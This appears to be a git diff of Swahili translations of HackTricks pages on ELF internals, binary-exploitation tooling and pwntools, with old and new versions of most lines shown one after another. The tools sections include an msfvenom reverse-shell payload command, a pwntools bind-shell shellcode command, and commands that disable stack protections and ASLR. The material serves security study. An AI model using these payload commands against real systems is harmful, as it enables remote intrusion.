Hii hifadhi habari za metadata za muuzaji kuhusu binary.
Hii hifadhi habari za metadata za muuzaji kuhusu faili ya binary.
### GNU\_EH\_FRAME
Inabainisha eneo la meza za kufungua upya stack, zinazotumiwa na wachunguzi na kazi za kutunza mizunguko ya C++.
Inaainisha eneo la meza za kufungua upya stack, zinazotumiwa na wachunguzi na kazi za kutunza mizunguko ya C++.
### GNU\_STACK
Ina mazingira ya ulinzi wa kuzuia utekelezaji wa stack. Ikiwa imewezeshwa, binary haitaweza kutekeleza nambari kutoka kwenye stack.
Ina mazingira ya ulinzi wa kuzuia utekelezaji wa stack. Ikiwa imewezeshwa, faili ya binary haitaweza kutekeleza nambari kutoka kwenye stack.
### GNU\_RELRO
Inaonyesha usanidi wa RELRO (Relocation Read-Only) wa binary. Ulinzi huu utaweka sehemu fulani za kumbukumbu kama kusoma tu (kama vile `GOT` au meza za `init` na `fini`) baada ya programu kupakiwa na kabla haijaanza kukimbia.
Inaonyesha usanidi wa RELRO (Relocation Read-Only) wa faili ya binary. Ulinzi huu utaweka sehemu fulani za kumbukumbu kama kusoma tu (kama vile `GOT` au meza za `init` na `fini`) baada ya programu kusomwa na kabla haijaanza kukimbia.
Katika mfano uliotangulia inaiga 0x3b8 baits hadi 0x1fc48 kama kusoma tu ikigusa sehemu `.init_array .fini_array .dynamic .got .data .bss`.
Katika mfano uliotangulia inaiga baits 0x3b8 hadi 0x1fc48 kama kusoma tu ikigusa sehemu `.init_array .fini_array .dynamic .got .data .bss`.
Tambua kuwa RELRO inaweza kuwa ya sehemu au kamili, toleo la sehemu halilindi sehemu ya **`.plt.got`**, ambayo hutumiwa kwa **kufunga uvivu** na inahitaji nafasi hii ya kumbukumbu kuwa na **ruhusa za kuandika** kuandika anwani za maktaba mara ya kwanza wanapopatikana.
Tambua kuwa RELRO inaweza kuwa ya sehemu au kamili, toleo la sehemu halilindi sehemu **`.plt.got`**, ambayo hutumiwa kwa **kufunga uvivu** na inahitaji nafasi hii ya kumbukumbu kuwa na **ruhusa za kuandika** kuandika anwani za maktaba mara ya kwanza wanapopatikana.
### TLS
Inabainisha meza ya viingilio vya TLS, ambayo inahifadhi habari kuhusu pembejeo za mada za mitaa.
Inaainisha meza ya vipengele vya TLS, ambavyo huhifadhi habari kuhusu pembejeo za mnyororo wa ndani.
## Vichwa vya Sehemu
Vichwa vya sehemu hutoa mtazamo wa kina zaidi wa binary ya ELF.
Vichwa vya sehemu hutoa mtazamo wa kina zaidi wa faili ya binary ya ELF.
```
objdump lnstat -h
@ -158,21 +158,21 @@ CONTENTS, READONLY
### Sehemu za Meta
* **Jedwali la String**: Inaleta pamoja strings zote zinazohitajika na faili ya ELF (lakini sio zile zinazotumiwa na programu). Kwa mfano, inaleta majina ya sehemu kama vile `.text` au `.data`. Na kama `.text` iko kwenye offset 45 katika jedwali la strings itatumia nambari **45** katika uga wa **jina**.
* Ili kupata mahali ambapo jedwali la string liko, ELF ina pointer kuelekea kwenye jedwali la string.
* Ili kupata mahali ambapo jedwali la string liko, ELF ina pointer kwenye jedwali la string.
* **Jedwali la Alama**: Inaleta habari kuhusu alama kama vile jina (offset katika jedwali la strings), anwani, saizi na metadata zaidi kuhusu alama.
### Sehemu Kuu
* **`.text`**: Maelekezo ya programu ya kutekelezwa.
* **`.data`**: Vigezo vya kimataifa vilivyo na thamani iliyowekwa katika programu.
* **`.bss`**: Vigezo vya kimataifa vilivyoachwa bila kuanzishwa (au kuanzishwa kuwa sifuri). Vigezo hapa vinainishwa moja kwa moja kuwa sifuri hivyo kuzuia sifuri zisizohitajika kuongezwa kwenye binary.
* **`.rodata`**: Vigezo vya kimataifa vya kudumu (sehemu isiyoweza kusomwa).
* **`.tdata`** na **`.tbss`**: Kama .data na .bss wakati vigezo vya mwenendo wa mnyororo hutumiwa (`__thread_local` katika C++ au `__thread` katika C).
* **`.text`**: Maelekezo ya programu ya kukimbia.
* **`.data`**: Variables za kimataifa zenye thamani iliyowekwa wazi katika programu.
* **`.bss`**: Variables za kimataifa zilizoachwa bila kuanzishwa (au kuanzishwa kwa sifuri). Variables hapa zinaanzishwa moja kwa moja kuwa sifuri hivyo kuzuia sifuri zisizohitajika kuongezwa kwenye binary.
* **`.rodata`**: Variables za kimataifa zenye thamani zisizobadilika (sehemu isiyoweza kusomwa).
* **`.tdata`** na **`.tbss`**: Kama .data na .bss wakati variables za thread-local zinapotumiwa (`__thread_local` katika C++ au `__thread` katika C).
* **`.dynamic`**: Angalia chini.
## Alama
Alama ni mahali lenye jina katika programu ambalo linaweza kuwa kazi, kitu cha data cha kimataifa, vigezo vya mwenendo wa mnyororo...
Alama ni mahali lenye jina katika programu ambalo linaweza kuwa function, object la data la kimataifa, variables za thread-local...
```
readelf -s lnstat
@ -193,11 +193,11 @@ Num: Value Size Type Bind Vis Ndx Name
12: 0000000000000000 0 FUNC GLOBAL DEFAULT UND putc@GLIBC_2.17 (2)
[...]
```
Kila kuingia cha alama kinajumuisha:
Kila kuingia cha alama kina:
- **Jina**
- **Vipengele vya kufunga** (dhaifu, mahali au kuu): Alama ya mahali inaweza kupatikana tu na programu yenyewe wakati alama za kuu zinashirikiwa nje ya programu. Kitu dhaifu ni kwa mfano kazi ambayo inaweza kubadilishwa na nyingine.
- **Aina**: NOTYPE (aina haikufafanuliwa), OBJECT (data ya kikoa cha ulimwengu), FUNC (kazi), SECTION (sehemu), FILE (faili ya msingi ya nambari kwa wachunguzi wa kosa), TLS (kigezo cha mnyororo wa ndani), GNU_IFUNC (kazi isiyo ya moja kwa moja kwa ajili ya uhamishaji)
- **Vipengele vya kufunga** (dhaifu, mahali au kuu): Alama ya mahali inaweza kupatikana tu na programu yenyewe wakati alama za kuu zinashirikiwa nje ya programu. Kitu dhaifu ni kwa mfano kazi inayoweza kubadilishwa na moja tofauti.
- **Aina**: NOTYPE (aina haikufafanuliwa), OBJECT (data ya kikoa cha kimataifa), FUNC (kazi), SECTION (sehemu), FILE (faili ya msingi ya nambari kwa wachunguzi wa hitilafu), TLS (kigezo cha mnyororo wa eneo), GNU\_IFUNC (kazi isiyo ya moja kwa moja kwa ajili ya uhamishaji)
- Indeksi wa **Sehemu** ambapo iko
- **Thamani** (anwani kumbukumbu)
- **Ukubwa**
@ -237,11 +237,11 @@ Tag Type Name/Value
0x000000006ffffff9 (RELACOUNT) 15
0x0000000000000000 (NULL) 0x0
```
Directory ya NEEDED inaonyesha kwamba programu **inahitaji kupakia maktaba iliyotajwa** ili iendelee. Directory ya NEEDED inakamilika mara tu maktaba ya pamoja **inafanya kazi kikamilifu na iko tayari kutumika**.
Directory ya NEEDED inaonyesha kwamba programu **inahitaji kupakia maktaba iliyotajwa** ili iendelee. Directory ya NEEDED inakamilika mara tu maktaba **inapokuwa kamili na tayari kutumika**.
## Uhamishaji
Mpakiaji lazima pia uhamishe mahitaji baada ya kuyapakia. Uhamishaji huu unaonyeshwa kwenye jedwali la uhamishaji katika muundo wa REL au RELA na idadi ya uhamishaji inatolewa katika sehemu za kudumu RELSZ au RELASZ.
Mzigo lazima pia uhamishe mahitaji baada ya kuzipakia. Uhamishaji huu unaonyeshwa kwenye meza ya uhamishaji katika muundo wa REL au RELA na idadi ya uhamishaji inatolewa katika sehemu za kudumu RELSZ au RELASZ.
```
readelf -r lnstat
@ -315,25 +315,25 @@ Offset Info Type Sym. Value Sym. Name + Addend
00000001ffa0 002f00000402 R_AARCH64_JUMP_SL 0000000000000000 __assert_fail@GLIBC_2.17 + 0
00000001ffa8 003000000402 R_AARCH64_JUMP_SL 0000000000000000 fgets@GLIBC_2.17 + 0
```
### Uhamishaji wa Stati
### Urekebishaji wa Stati
Ikiwa **programu imepakia mahali tofauti** na anwani inayopendelewa (kawaida 0x400000) kwa sababu anwani tayari inatumika au kwa sababu ya **ASLR** au sababu nyingine yoyote, uhamishaji wa stati **hurekebisha pointers** ambazo zilikuwa na thamani zikitarajia binary ipakuliwe katika anwani inayopendelewa.
Ikiwa **programu imepakia mahali tofauti** na anwani inayopendelewa (kawaida 0x400000) kwa sababu anwani tayari inatumika au kwa sababu ya **ASLR** au sababu nyingine yoyote, urekebishaji wa stati **hurekebisha pointa** ambazo zilikuwa na thamani zikitarajia binary ipakuliwe katika anwani inayopendelewa.
Kwa mfano, sehemu yoyote ya aina `R_AARCH64_RELATIV` inapaswa kubadilisha anwani kwenye upendeleo wa uhamishaji pamoja na thamani ya kuongeza.
Kwa mfano, sehemu yoyote ya aina `R_AARCH64_RELATIV` inapaswa kurekebisha anwani kwenye upendeleo wa urekebishaji pamoja na thamani ya kuongeza.
### Uhamishaji wa Kudumu na GOT
### Urekebishaji wa Kudumu na GOT
Uhamishaji unaweza pia kurejelea alama ya nje (kama kazi kutoka kwa tegemezi). Kama vile kazi ya malloc kutoka libC. Kisha, mzigo unapopakia libC katika anwani ikichunguza wapi kazi ya malloc imepakuliwa, itaandika anwani hii kwenye jedwali la GOT (Global Offset Table) (inayoonyeshwa katika jedwali la uhamishaji) ambapo anwani ya malloc inapaswa kutajwa.
Urekebishaji unaweza pia kurejelea alama ya nje (kama kazi kutoka kwa tegemezi). Kama vile kazi ya malloc kutoka libC. Kisha, mzigo unapopakia libC katika anwani ikichunguza wapi kazi ya malloc imepakuliwa, itaandika anwani hii kwenye jedwali la GOT (Global Offset Table) (inayoonyeshwa katika jedwali la urekebishaji) ambapo anwani ya malloc inapaswa kufafanuliwa.
### Jedwali la Uunganishaji wa Taratibu
Sehemu ya PLT inaruhusu kufanya uunganishaji wa uvivu, ambao maana yake ni kwamba ufumbuzi wa eneo la kazi utafanywa mara ya kwanza inapofikiwa.
Kwa hivyo wakati programu inaita malloc, kimsingi inaita eneo husika la `malloc` katika PLT (`malloc@plt`). Mara ya kwanza inaitwa, inatatua anwani ya `malloc` na kuihifadhi ili wakati `malloc` inaitwa tena, anwani hiyo itatumika badala ya msimbo wa PLT.
Kwa hivyo wakati programu inaita malloc, kimsingi inaita eneo linalofanana la `malloc` katika PLT (`malloc@plt`). Mara ya kwanza inapoitwa, inatatua anwani ya `malloc` na kuihifadhi ili wakati `malloc` inaitwa tena, anwani hiyo itatumika badala ya msimbo wa PLT.
## Uanzishaji wa Programu
Baada ya programu kupakia, ni wakati wake wa kutekelezwa. Walakini, msimbo wa kwanza unaotekelezwa **si mara zote ni `main`**. Hii ni kwa sababu kwa mfano katika C++ ikiwa **kigezo cha kawaida ni kitu cha darasa**, kigezo hiki lazima kianzishwe **kabla** ya main kutekelezwa, kama vile:
Baada ya programu kupakia, ni wakati wake wa kufanya kazi. Walakini, msimbo wa kwanza unaorushwa **si mara zote ni `main`**. Hii ni kwa sababu kwa mfano katika C++ ikiwa **kigezo cha kawaida ni kitu cha darasa**, kipengee hiki lazima kianzishwe **kabla** ya `main` kuanza, kama vile:
```cpp
#include <stdio.h>
// g++ autoinit.cpp -o autoinit
@ -354,9 +354,9 @@ printf("Main\n");
return 0;
}
```
Tafadhali elewa kwamba hizi variables za kimataifa zinapatikana katika `.data` au `.bss` lakini katika orodha `__CTOR_LIST__` na `__DTOR_LIST__` vitu vya kuanzisha na kuharibu vimehifadhiwa kwa mpangilio ili kufuatilia vyema.
Tafadhali elewa kwamba hizi variables za kimataifa zinapatikana katika `.data` au `.bss` lakini katika orodha `__CTOR_LIST__` na `__DTOR_LIST__` vitu vya kuanzisha na kuharibu vimehifadhiwa kwa mpangilio ili kufuatilia.
Kutoka kwenye code ya C ni rahisi kupata matokeo sawa kwa kutumia vifaa vya GNU:
Kutoka kwa msimbo wa C ni rahisi kupata matokeo sawa kwa kutumia vifaa vya GNU:
```c
__attributte__((constructor)) //Add a constructor to execute before
__attributte__((destructor)) //Add to the destructor list
@ -365,25 +365,25 @@ Kutoka kwa mtazamo wa compiler, ili kutekeleza hatua hizi kabla na baada ya kazi
Chaguo lingine, kama ilivyotajwa, ni kutaja orodha **`__CTOR_LIST__`** na **`__DTOR_LIST__`** katika viingilio vya **`INIT_ARRAY`** na **`FINI_ARRAY`** katika sehemu ya dynamic na urefu wa hizi unatajwa na **`INIT_ARRAYSZ`** na **`FINI_ARRAYSZ`**. Kila kuingilio ni kidude cha kazi ambacho kitaitwa bila hoja.
Zaidi ya hayo, ni rahisi pia kuwa na **`PREINIT_ARRAY`** na **pointers** ambazo zitatekelezwa **kabla** ya **pointers** za **`INIT_ARRAY`**.
Zaidi ya hayo, ni rahisi pia kuwa na **`PREINIT_ARRAY`** na **pointers** ambazo zitatekelezwa **kabla** ya kidude cha **`INIT_ARRAY`**.
### Mpangilio wa Uanzishaji
1. Programu inapakiwa kumbukani, vitu vya kimataifa vya static vinainishwa katika **`.data`** na vile visivyoainishwa vinawekwa sifuri katika **`.bss`**.
2. **Mahitaji yote** kwa programu au maktaba zinaanzishwa na kisha **kiunganishi cha kudumu** kinatekelezwa.
1. Programu inapakiwa kumbukani, vitu vya kimataifa vya tuli vinainishwa katika **`.data`** na vile visivyoainishwa vinawekwa sifuri katika **`.bss`**.
2. **Mahitaji yote** kwa programu au maktaba zina **anzishwa** na **kiunganishaji wa kudumu** unatekelezwa.
3. Kazi za **`PREINIT_ARRAY`** zinatekelezwa.
4. Kazi za **`INIT_ARRAY`** zinatekelezwa.
5. Ikiwa kuna kuingilio la **`INIT`** linaitwa.
6. Ikiwa ni maktaba, dlopen inamalizika hapa, ikiwa ni programu, ni wakati wa kuita **sehemu ya kuingia halisi** (kazi ya `main`).
6. Ikiwa ni maktaba, dlopen inamalizika hapa, ikiwa ni programu, ni wakati wa kuita **kituo cha kuingia halisi** (kazi ya `main`).
## Uhifadhi wa Wateja wa Wateja (TLS)
## Uhifadhi wa Wateja-Kwa-Wateja (TLS)
Hizi zinatambuliwa kwa kutumia neno **`__thread_local`** katika C++ au kivuli cha GNU **`__thread`**.
Hizi hutajwa kwa kutumia neno **`__thread_local`** katika C++ au kifupisho cha GNU **`__thread`**.
Kila wateja atahifadhi eneo la kipekee kwa hii kidude hivyo ni wateja pekee wanaweza kupata kidude chao.
Kila wateja atahifadhi eneo la kipekee kwa kivinjari hiki hivyo ni wateja pekee wanaweza kupata kivinjari chao.
Inapotumiwa, sehemu **`.tdata`** na **`.tbss`** hutumiwa katika ELF. Ambazo ni kama `.data` (inaanzishwa) na `.bss` (haikoanzishwa) lakini kwa TLS.
Kila kidude kitakuwa na kuingilio katika kichwa cha TLS kinachotaja ukubwa na kielekezo cha TLS, ambacho ni kielekezo kitatumika katika eneo la data la wateja wa eneo.
Kila kivinjari kitakuwa na kuingilio katika kichwa cha TLS kinachotaja ukubwa na kivinjari cha TLS, ambacho ni kivinjari kitatumia katika eneo la data la kipekee la kivinjari.
`__TLS_MODULE_BASE` ni ishara inayotumiwa kutaja anwani ya msingi ya uhifadhi wa wateja wa eneo na inaelekeza eneo kumbukumbu linalo jumuisha data zote za wateja wa eneo la moduli.
`__TLS_MODULE_BASE` ni ishara inayotumiwa kutaja anwani ya msingi ya uhifadhi wa wateja-kwa-wateja na inaelekeza kwenye eneo kumbukumbu linaloleta data yote ya wateja-kwa-wateja ya moduli.

View file

@ -24,7 +24,7 @@ msfelfscan -j esi /opt/fusion/bin/level01
```
### Shellcodes
### Mifumo ya Shell
### Mifumo ya Kufanya Kazi ya Shell
```
msfvenom /p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c
```
@ -88,7 +88,7 @@ x/i $eip # Instructions of the EIP
```
### [GEF](https://github.com/hugsy/gef)
GEF ni kifaa cha kushangaza kinachokusaidia kuchambua na kudhibiti mchakato wa kufanya uchunguzi wa kina wa kumbukumbu ya kistakimu.
GEF ni kifaa cha kushangaza cha GDB ambacho hutoa msaada wa ziada kwa wapenzi wa uchunguzi wa kina wa kibinari. Itasaidia kuboresha uzoefu wako wa kutumia GDB kwa kutoa vipengele vya ziada kama vile maoni ya kumbukumbu, uchambuzi wa stack, na zaidi. Unaweza kufunga GEF kwa urahisi na kuanza kuitumia mara moja kwenye mazingira yako ya uchunguzi wa kibinari.
```bash
help memory # Get help on memory command
canary # Search for canary value in memory
@ -132,7 +132,7 @@ gef➤ pattern search 0x6261617762616176
#### Anwani sawa za GDB
Wakati wa kudebug GDB itakuwa na **anwani kidogo tofauti na zile zinazotumiwa na binary inapotekelezwa.** Unaweza kufanya GDB iwe na anwani sawa kwa kufanya yafuatayo:
Wakati wa kudebug GDB itakuwa na **anwani kidogo tofauti na zile zinazotumiwa na binary inapotekelezwa.** Unaweza kufanya GDB iwe na anwani sawa kwa kufuata hatua hizi:
* `unset env LINES`
* `unset env COLUMNS`
@ -142,8 +142,8 @@ Wakati wa kudebug GDB itakuwa na **anwani kidogo tofauti na zile zinazotumiwa na
#### Kufuatilia nyuma ili kupata kazi zilizoitwa
Ukiwa na **binary iliyolinkwa kistatiki** kazi zote zitakuwa sehemu ya binary (na sio maktaba za nje). Katika kesi hii itakuwa ngumu **kutambua mwendelezo ambao binary inafuata kwa mfano kuomba mwingiliano wa mtumiaji**.\
Unaweza kutambua mwendelezo huu kwa urahisi kwa **kutekeleza** binary na **gdb** hadi unapoombwa mwingiliano. Kisha, isimamishe kwa kubonyeza **CTRL+C** na tumia amri ya **`bt`** (**backtrace**) kuona kazi zilizoitwa:
Unapokuwa na **binary iliyolinkwa kistatiki** kazi zote zitakuwa sehemu ya binary (na sio maktaba za nje). Katika kesi hii itakuwa ngumu **kutambua mwendelezo ambao binary inafuata kwa mfano kuomba mwingiliano wa mtumiaji**.\
Unaweza kutambua mwendelezo huu kwa urahisi kwa **kutekeleza** binary na **gdb** hadi utakapoombwa mwingiliano. Kisha, isimamishe kwa kubonyeza **CTRL+C** na tumia amri ya **`bt`** (**backtrace**) kuona kazi zilizoitwa:
```
gef➤ bt
#0 0x00000000004498ae in ?? ()
@ -158,37 +158,37 @@ gef➤ bt
## Ghidra
### Pata offset ya stack
### Pata msimbo wa stack
**Ghidra** ni muhimu sana kwa kupata **offset** kwa **buffer overflow kutokana na habari kuhusu nafasi ya variables za ndani.**\
Kwa mfano, katika mfano hapa chini, buffer flow katika `local_bc` inaonyesha unahitaji offset ya `0xbc`. Zaidi ya hayo, ikiwa `local_10` ni canary cookie inaonyesha kwamba kuiandika kutoka `local_bc` kuna offset ya `0xac`.\
**Ghidra** ni muhimu sana kwa kupata **msimbo wa kujaza buffer kwa sababu ya habari kuhusu nafasi ya variables za ndani.**\
Kwa mfano, katika mfano hapa chini, kujaza buffer katika `local_bc` inaonyesha kwamba unahitaji msimbo wa `0xbc`. Zaidi ya hayo, ikiwa `local_10` ni kuki ya canary inaonyesha kwamba kuiandika upya kutoka `local_bc` kuna msimbo wa `0xac`.\
_Kumbuka kwamba 0x08 ya kwanza ambapo RIP inahifadhiwa inahusiana na RBP._
![](<../../../.gitbook/assets/image (1058).png>)
## GCC
**gcc -fno-stack-protector -D\_FORTIFY\_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Compile bila ulinzi\
**gcc -fno-stack-protector -D\_FORTIFY\_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Kupanga bila ulinzi\
**-o** --> Matokeo\
**-g** --> Hifadhi kanuni (GDB itaweza kuiona)\
**-g** --> Hifadhi msimbo (GDB itaweza kuona)\
**echo 0 > /proc/sys/kernel/randomize\_va\_space** --> Kulegeza ASLR kwenye linux
**Kukusanya shellcode:**\
**Kupanga shellcode:**\
**nasm -f elf assembly.asm** --> itarudisha ".o"\
**ld assembly.o -o shellcodeout** --> Inatekelezeka
## Objdump
**-d** --> Katakanusha sehemu za utekelezaji (angalia opcodes ya shellcode iliyokompiliwa, pata ROP Gadgets, pata anwani ya kazi...)\
**-d** --> Kataua sehemu za utekelezaji (angalia opcodes za shellcode iliyopangwa, pata ROP Gadgets, pata anwani ya kazi...)\
**-Mintel** --> Sintaksia ya **Intel**\
**-t** --> Jedwali la **alama**\
**-D** --> Katakanusha yote (anwani ya variable za static)\
**-D** --> Kataua yote (anwani ya variable za static)\
**-s -j .dtors** --> sehemu ya dtors\
**-s -j .got** --> sehemu ya got\
\-D -s -j .plt --> sehemu ya plt **iliyokompilewa**\
**-TR** --> **Relocations**\
**ojdump -t --dynamic-relo ./exec | grep puts** --> Anwani ya "puts" ya kuhariri katika GOT\
**objdump -D ./exec | grep "VAR\_NAME"** --> Anwani au variable ya static (hizi huhifadhiwa kwenye sehemu ya DATA).
\-D -s -j .plt --> sehemu ya plt **iliyopangwa tena**\
**-TR** --> **Uhamishaji**\
**ojdump -t --dynamic-relo ./exec | grep puts** --> Anwani ya "puts" ya kurekebisha katika GOT\
**objdump -D ./exec | grep "VAR\_NAME"** --> Anwani au variable ya static (hizi huhifadhiwa katika sehemu ya DATA).
## Core dumps
@ -200,8 +200,8 @@ _Kumbuka kwamba 0x08 ya kwanza ambapo RIP inahifadhiwa inahusiana na RBP._
**ldd executable | grep libc.so.6** --> Anwani (ikiwa na ASLR, basi hii hubadilika kila wakati)\
**for i in \`seq 0 20\`; do ldd \<Ejecutable> | grep libc; done** --> Mzunguko wa kuona ikiwa anwani inabadilika sana\
**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> Offset ya "system"\
**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> Offset ya "/bin/sh"
**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> Msimbo wa "system"\
**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> Msimbo wa "/bin/sh"
**strace executable** --> Kazi zinazoitwa na utekelezaji\
**rabin2 -i ejecutable -->** Anwani ya kila kazi
@ -215,7 +215,7 @@ _Kumbuka kwamba 0x08 ya kwanza ambapo RIP inahifadhiwa inahusiana na RBP._
### Kudebugi kwa mbali kwenye linux
Ndani ya folda ya IDA unaweza kupata binaries ambazo zinaweza kutumika kudebugi binary kwenye linux. Ili kufanya hivyo hamisha binary _linux\_server_ au _linux\_server64_ ndani ya server ya linux na iendeshe ndani ya folda inayohifadhi binary hiyo:
Ndani ya folda ya IDA unaweza kupata binaries ambazo zinaweza kutumika kudebugi binary kwenye linux. Ili kufanya hivyo hamisha binary `linux_server` au `linux_server64` ndani ya server ya linux na iendeshe ndani ya folda inayohifadhi binary hiyo:
```
./linux_server64 -Ppass
```
@ -225,14 +225,14 @@ Kisha, sanidi kielekezi cha kurekebisha makosa: Kielekezi (mbali ya linux) --> C
<details>
<summary><strong>Jifunze kuhusu udukuzi wa AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>

View file

@ -1,3 +1,5 @@
# PwnTools
<details>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
@ -7,16 +9,16 @@ Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>
```
pip3 install pwntools
```
# Pwn asm
## Pwn asm
Pata opcodes kutoka kwenye mstari au faili.
Pata **opcodes** kutoka kwenye mstari au faili.
```
pwn asm "jmp esp"
pwn asm -i <filepath>
@ -28,15 +30,15 @@ pwn asm -i <filepath>
* epuka herufi (mistari mipya, null, orodha)
* chagua kifaa cha kuhifadhi kwa kutumia gdb kukimbia matokeo
# **Pwn checksec**
## **Pwn checksec**
Skripti ya Checksec
```
pwn checksec <executable>
```
# Pwn constgrep
## Pwn constgrep
# Pwn cyclic
## Pwn cyclic
Pata mfano
```
@ -48,9 +50,9 @@ pwn cyclic -l faad
* Alfabeti iliyotumiwa (herufi ndogo kwa chaguo-msingi)
* Urefu wa mfano wa kipekee (chaguo-msingi ni 4)
* Muktadha (16,32,64,linux,windows...)
* Chukua mbali (-l)
* Chukua mbali (l)
# Pwn debug
## Pwn debug
Ambatisha GDB kwa mchakato
```
@ -64,15 +66,15 @@ pwn debug --process bash
* gdbscript ya kutekeleza
* njia ya sysroot
# Pwn disablenx
## Pwn disablenx
Zima nx ya kutekelezeka
```
pwn disablenx <filepath>
```
# Pwn disasm
## Pwn disasm
Tafsiri hex opcodes
Kuchambua nambari za hex opcodes
```
pwn disasm ffe4
```
@ -82,19 +84,19 @@ pwn disasm ffe4
* anwani ya msingi
* rangi (chaguo-msingi)/bila rangi
# Pwn elfdiff
## Pwn elfdiff
Chapisha tofauti kati ya faili 2
```
pwn elfdiff <file1> <file2>
```
# Pwn hex
## Pwn hex
Pata uwakilishi wa hexadecimal
```bash
pwn hex hola #Get hex of "hola" ascii
```
# Pwn shahada
## Pwn shahada
Pata hexdump
```
@ -104,13 +106,13 @@ pwn phd <file>
* Idadi ya baits za kuonyesha
* Idadi ya baits kwa kila mstari kuonyesha bait
* Ruka baits mwanzoni
* Kuruka baits mwanzoni
# Pwn pwnstrip
## Pwn pwnstrip
# Pwn scrable
## Pwn scrable
# Pwn shellcraft
## Pwn shellcraft
Pata shellcodes
```
@ -135,7 +137,7 @@ pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port
* orodha ya shellcodes inayowezekana
* Zalisha ELF kama maktaba iliyoshirikiwa
# Kigezo cha Pwn
## Kigezo cha Pwn
Pata kigezo cha Python
```
@ -143,13 +145,13 @@ pwn template
```
**Inaweza kuchagua:** mwenyeji, bandari, mtumiaji, nenosiri, njia na kimya
# Pwn unhex
## Pwn unhex
Kutoka hex hadi string
```
pwn unhex 686f6c61
```
# Sasisha Pwn
## Sasisha Pwn
Ili kusasisha pwntools
```
@ -163,8 +165,8 @@ Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>

View file

@ -1,42 +1,4 @@
